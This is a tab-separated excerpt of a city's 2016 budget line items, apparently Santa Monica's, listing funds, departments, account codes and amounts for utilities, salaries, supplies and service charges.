21091	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-STREET LIGHTS	808.0	 Supplies and Expenses	2016	1125297	0	0	0	0	0	0	0	0	0	0	0	1125297
21092	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522860.0	FUEL MANAGEMENT SYSTEMS	806.0	 Supplies and Expenses	2016	8600	0	0	0	0	0	0	0	0	0	0	0	8600
21093	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2016	1970	0	0	0	0	0	0	0	0	0	0	0	1970
21094	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	201934	0	0	0	0	0	0	0	0	0	0	0	201934
21095	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579000.0	COUNCIL DISCRETIONARY FUNDS	804.0	 Supplies and Expenses	2016	367902	0	0	0	0	0	0	0	0	0	0	0	367902
21096	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY YAR	808.0	 Supplies and Expenses	2016	7797	0	0	0	0	0	0	0	0	0	0	0	7797
21097	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY YARDS	808.0	 Supplies and Expenses	2016	30297	0	0	0	0	0	0	0	0	0	0	0	30297
21098	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY HALL	808.0	 Supplies and Expenses	2016	16693	0	0	0	0	0	0	0	0	0	0	0	16693
21099	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES CITY TV	808.0	 Supplies and Expenses	2016	2600	0	0	0	0	0	0	0	0	0	0	0	2600
21100	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2016	2905	0	0	0	0	0	0	0	0	0	0	0	2905
21101	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2016	3115	0	0	0	0	0	0	0	0	0	0	0	3115
21102	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	10500	0	0	0	0	0	0	0	0	0	0	0	10500
21103	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2016	3630	0	0	0	0	0	0	0	0	0	0	0	3630
21104	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522115.0	UTIL - LIGHT/POWER - PSF	808.0	 Supplies and Expenses	2016	448995	0	0	0	0	0	0	0	0	0	0	0	448995
21105	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		UNEMPLOYMENT	804.0	Salaries and Wages	2016	2271	0	0	0	0	0	0	0	0	0	0	0	2271
21106	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	1921	0	0	0	0	0	0	0	0	0	0	0	1921
21107	BA	IS	1	General Fund	310	FIRE	315	TRAINING	555215.0	OUTSIDE TRAINER PAYMENT	806.0	 Supplies and Expenses	2016	21712	0	0	0	0	0	0	0	0	0	0	0	21712
21108	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2016	3060	0	0	0	0	0	0	0	0	0	0	0	3060
21109	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544140.0	STREET MATERIAL	808.0	 Supplies and Expenses	2016	276741	0	0	0	0	0	0	0	0	0	0	0	276741
21110	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	3031	0	0	0	0	0	0	0	0	0	0	0	3031
21111	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2016	4980	0	0	0	0	0	0	0	0	0	0	0	4980
21112	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2016	1277	0	0	0	0	0	0	0	0	0	0	0	1277
21113	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
21114	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
21115	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	38880	0	0	0	0	0	0	0	0	0	0	0	38880
21116	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2016	18487	0	0	0	0	0	0	0	0	0	0	0	18487
21117	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533219.0	BLDG OPER/SUPPLIES-COM FAC	808.0	 Supplies and Expenses	2016	120000	0	0	0	0	0	0	0	0	0	0	0	120000
21118	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2016	31700	0	0	0	0	0	0	0	0	0	0	0	31700
21119	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	37340	0	0	0	0	0	0	0	0	0	0	0	37340
21120	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	27200	0	0	0	0	0	0	0	0	0	0	0	27200
21121	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2016	17650	0	0	0	0	0	0	0	0	0	0	0	17650
21122	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
21123	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	3570	0	0	0	0	0	0	0	0	0	0	0	3570
21124	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	49936	0	0	0	0	0	0	0	0	0	0	0	49936
21125	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	12211	0	0	0	0	0	0	0	0	0	0	0	12211
21126	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2016	10227	0	0	0	0	0	0	0	0	0	0	0	10227
21127	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-PSF	808.0	 Supplies and Expenses	2016	278571	0	0	0	0	0	0	0	0	0	0	0	278571
21128	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-1730 4TH ST	808.0	 Supplies and Expenses	2016	33125	0	0	0	0	0	0	0	0	0	0	0	33125
21129	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21130	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533221.0	BLDG/STR MAINT-COM FAC	808.0	 Supplies and Expenses	2016	97000	0	0	0	0	0	0	0	0	0	0	0	97000
21131	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21132	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
21133	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533228.0	BLDG/STR MAINT-KEN EDWARDS	808.0	 Supplies and Expenses	2016	26000	0	0	0	0	0	0	0	0	0	0	0	26000
21134	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21135	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2016	8307	0	0	0	0	0	0	0	0	0	0	0	8307
21136	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
21137	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577940.0	REIMB FOR PARKING EXPEND		 Supplies and Expenses	2016	279083	0	0	0	0	0	0	0	0	0	0	0	279083
21138	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	578420.0	POLICE PIER PATROL		 Supplies and Expenses	2016	392666	0	0	0	0	0	0	0	0	0	0	0	392666
21139	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		MEDICAL-RETIREE	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21140	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		WELLNESS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21141	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21142	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
21143	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408290.0	FIRE SAFETY OFFICER ASSIGN FEE	612.0	Charges for Service	2016	-300000	0	0	0	0	0	0	0	0	0	0	0	-300000
21144	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	19341	0	0	0	0	0	0	0	0	0	0	0	19341
21145	BA	IS	1	General Fund	310	FIRE	315	TRAINING	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2016	12562	0	0	0	0	0	0	0	0	0	0	0	12562
21146	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511748.0	DENTAL	804.0	Salaries and Wages	2016	5290	0	0	0	0	0	0	0	0	0	0	0	5290
21147	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-12928	0	0	0	0	0	0	0	0	0	0	0	-12928
21148	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	37000	0	0	0	0	0	0	0	0	0	0	0	37000
21149	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533216.0	BLDG/CUSTODIAL SUPPLIES - LIB	808.0	 Supplies and Expenses	2016	68000	0	0	0	0	0	0	0	0	0	0	0	68000
21150	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG OPER/SUPPLIES-CITY HALL	808.0	 Supplies and Expenses	2016	47000	0	0	0	0	0	0	0	0	0	0	0	47000
21151	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555951.0	FAC MAINT-KEC	808.0	 Supplies and Expenses	2016	7000	0	0	0	0	0	0	0	0	0	0	0	7000
21152	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2016	97985	0	0	0	0	0	0	0	0	0	0	0	97985
21153	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	1400	0	0	0	0	0	0	0	0	0	0	0	1400
21154	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	350	0	0	0	0	0	0	0	0	0	0	0	350
21155	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	69046	0	0	0	0	0	0	0	0	0	0	0	69046
21156	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	7080	0	0	0	0	0	0	0	0	0	0	0	7080
21157	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511490.0	OVERTIME	808.0	Salaries and Wages	2016	101675	0	0	0	0	0	0	0	0	0	0	0	101675
21158	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2016	1045	0	0	0	0	0	0	0	0	0	0	0	1045
21159	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	4839	0	0	0	0	0	0	0	0	0	0	0	4839
21160	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2016	13404	0	0	0	0	0	0	0	0	0	0	0	13404
21161	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2016	306	0	0	0	0	0	0	0	0	0	0	0	306
21162	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403720.0	SERIAL INEBRIATE GRANT ADMIN	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21163	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	6640	0	0	0	0	0	0	0	0	0	0	0	6640
21164	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2016	414	0	0	0	0	0	0	0	0	0	0	0	414
21165	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2016	113907	0	0	0	0	0	0	0	0	0	0	0	113907
21166	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577240.0	SERVICE AGREEMENTS		 Supplies and Expenses	2016	268940	0	0	0	0	0	0	0	0	0	0	0	268940
21167	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2016	116416	0	0	0	0	0	0	0	0	0	0	0	116416
21168	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	8323	0	0	0	0	0	0	0	0	0	0	0	8323
21169	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	65000	0	0	0	0	0	0	0	0	0	0	0	65000
21170	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522135.0	UTILITIES - WATER - PSF	808.0	 Supplies and Expenses	2016	58131	0	0	0	0	0	0	0	0	0	0	0	58131
21171	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533215.0	BLDG/CUSTODIAL SUPPLIES-PSF	808.0	 Supplies and Expenses	2016	56000	0	0	0	0	0	0	0	0	0	0	0	56000
21172	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566100.0	STREET LIGHT / POLE REPAIR	808.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
21173	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	20260	0	0	0	0	0	0	0	0	0	0	0	20260
21174	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2016	2947	0	0	0	0	0	0	0	0	0	0	0	2947
21175	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	266191	0	0	0	0	0	0	0	0	0	0	0	266191
21176	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	12390	0	0	0	0	0	0	0	0	0	0	0	12390
21177	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	191703	0	0	0	0	0	0	0	0	0	0	0	191703
21178	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2016	6629	0	0	0	0	0	0	0	0	0	0	0	6629
21179	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566330.0	STREET LIGHT MAINTENANCE	808.0	 Supplies and Expenses	2016	174000	0	0	0	0	0	0	0	0	0	0	0	174000
21180	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2016	59000	0	0	0	0	0	0	0	0	0	0	0	59000
21181	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21182	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	456237	0	0	0	0	0	0	0	0	0	0	0	456237
21183	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	3014	0	0	0	0	0	0	0	0	0	0	0	3014
21184	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	3356	0	0	0	0	0	0	0	0	0	0	0	3356
21185	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	156200	0	0	0	0	0	0	0	0	0	0	0	156200
21186	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	422280	0	0	0	0	0	0	0	0	0	0	0	422280
21187	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	196481	0	0	0	0	0	0	0	0	0	0	0	196481
21188	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-15980	0	0	0	0	0	0	0	0	0	0	0	-15980
21189	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2016	13162	0	0	0	0	0	0	0	0	0	0	0	13162
21190	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-26942	0	0	0	0	0	0	0	0	0	0	0	-26942
21191	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-14602	0	0	0	0	0	0	0	0	0	0	0	-14602
21192	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2016	288	0	0	0	0	0	0	0	0	0	0	0	288
21193	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2016	214	0	0	0	0	0	0	0	0	0	0	0	214
21194	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	5944	0	0	0	0	0	0	0	0	0	0	0	5944
21195	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	7010	0	0	0	0	0	0	0	0	0	0	0	7010
21196	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2016	588	0	0	0	0	0	0	0	0	0	0	0	588
21197	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2016	286	0	0	0	0	0	0	0	0	0	0	0	286
21198	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	105054	0	0	0	0	0	0	0	0	0	0	0	105054
21199	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	69349	0	0	0	0	0	0	0	0	0	0	0	69349
21200	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2016	3100	0	0	0	0	0	0	0	0	0	0	0	3100
21201	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	22901	0	0	0	0	0	0	0	0	0	0	0	22901
21202	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	178857	0	0	0	0	0	0	0	0	0	0	0	178857
21203	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2016	10700	0	0	0	0	0	0	0	0	0	0	0	10700
21204	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533227.0	BLDG/STR MAINT-PARK BLDG	808.0	 Supplies and Expenses	2016	189000	0	0	0	0	0	0	0	0	0	0	0	189000
21205	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544220.0	GRAFFITI PROGRAM MATERIALS	808.0	 Supplies and Expenses	2016	63000	0	0	0	0	0	0	0	0	0	0	0	63000
21206	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555140.0	PEST CONTROL	808.0	 Supplies and Expenses	2016	4000	0	0	0	0	0	0	0	0	0	0	0	4000
21207	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21208	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21209	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS		Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21210	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2016	5290	0	0	0	0	0	0	0	0	0	0	0	5290
21211	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2016	597	0	0	0	0	0	0	0	0	0	0	0	597
21212	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-16394	0	0	0	0	0	0	0	0	0	0	0	-16394
21213	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2016	2752	0	0	0	0	0	0	0	0	0	0	0	2752
21214	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EAP	804.0	Salaries and Wages	2016	532	0	0	0	0	0	0	0	0	0	0	0	532
21215	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DCAP	804.0	Salaries and Wages	2016	360	0	0	0	0	0	0	0	0	0	0	0	360
21216	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21217	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2016	-49989	0	0	0	0	0	0	0	0	0	0	0	-49989
21218	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408340.0	URBAN RUNOFF MIT. INSP. ONSITE	612.0	Charges for Service	2016	-25000	0	0	0	0	0	0	0	0	0	0	0	-25000
21219	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EAP	804.0	Salaries and Wages	2016	425	0	0	0	0	0	0	0	0	0	0	0	425
21220	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	3382	0	0	0	0	0	0	0	0	0	0	0	3382
21221	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567230.0	PFA 2011B (PSF)	910.0	 Supplies and Expenses	2016	1062800	0	0	0	0	0	0	0	0	0	0	0	1062800
21222	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2016	-360000	0	0	0	0	0	0	0	0	0	0	0	-360000
21223	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	24800	0	0	0	0	0	0	0	0	0	0	0	24800
21224	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	27540	0	0	0	0	0	0	0	0	0	0	0	27540
21225	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	566440.0	SPECIAL CLEANUP/MAINTENANCE	808.0	 Supplies and Expenses	2016	2440	0	0	0	0	0	0	0	0	0	0	0	2440
